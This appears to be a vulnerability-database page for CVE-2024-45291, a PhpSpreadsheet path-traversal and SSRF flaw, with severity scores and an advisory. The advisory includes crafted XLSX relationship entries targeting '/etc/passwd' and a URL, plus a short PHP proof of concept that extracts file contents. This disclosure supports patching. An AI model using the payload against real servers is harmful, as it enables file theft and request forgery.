CVE-2024-45291

highpriority · track · 35EPSS 0.009 · 58 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.86% (58th) EPSS
CVSS 8.8 · high
Is it mine?
10 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · nvd · osv

EPSS · scored 2026-10-23

PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability. When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests. Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible. This issue has been addressed in release versions 1.29.2, 2.1.1, and 2.3.0. All users are advised to upgrade. there are no known workarounds for this vulnerability.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.8
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.3–8.8

v3.18.8highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hprimary · NVD / NIST USexploitability 2.8 · impact 5.9
v3.16.3mediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · ENISA EU
v3.16.3mediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · security-advisories@github.comexploitability 1.8 · impact 4
v3.16.3mediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · OSV
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (10)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-w9xv-qf98-ccq4PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled2024-10-07ghsa · osvUS

    ### Summary It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability. ### Details XLSX files allow embedding or linking media. When In `xl/drawings/drawing1.xml` an attacker can do e.g.: ```xml <a:blip cstate="print" r:link="rId1" /> ``` And then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as: ```xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="/etc/passwd" /> ``` or ```xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="http://example.org" /> ``` When the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used. ```php if ($this->embedImages || str_starts_with($imageData, 'zip://')) { $picture = @file_get_contents($filename); if ($picture !== false) { $imageDetails = getimagesize($filename) ?: ['mime' => '']; // base64 encode the binary data $base64 = base64_encode($picture); $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64; } } $html .= '<img style="position: absolute; z-index: 1; left: ' . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: ' . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="' . $imageData . '" alt="' . $filedesc . '" />'; ``` ### PoC ```php <?php require 'vendor/autoload.php'; $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(__DIR__ . '/book.xlsx'); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); $writer->setEmbedImages(true); $output = $writer->generateHTMLAll(); // The below is just for demo purposes $pattern = '/data:;base64,(?<data>[^"]+)/i'; preg_match_all($pattern, $output, $matches); print("*** /etc/passwd content: ***\n"); print(base64_decode($matches['data'][0])); print("*** HTTP response content: ***\n"); print(base64_decode($matches['data'][1])); ``` Add this file in the same directory: [book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx) Run with: `php index.php` ### Impact When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.

06

also known as (3)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2024-10-07modified 2026-06-17
09

references (5)

External citations — patches, advisories, analysis.

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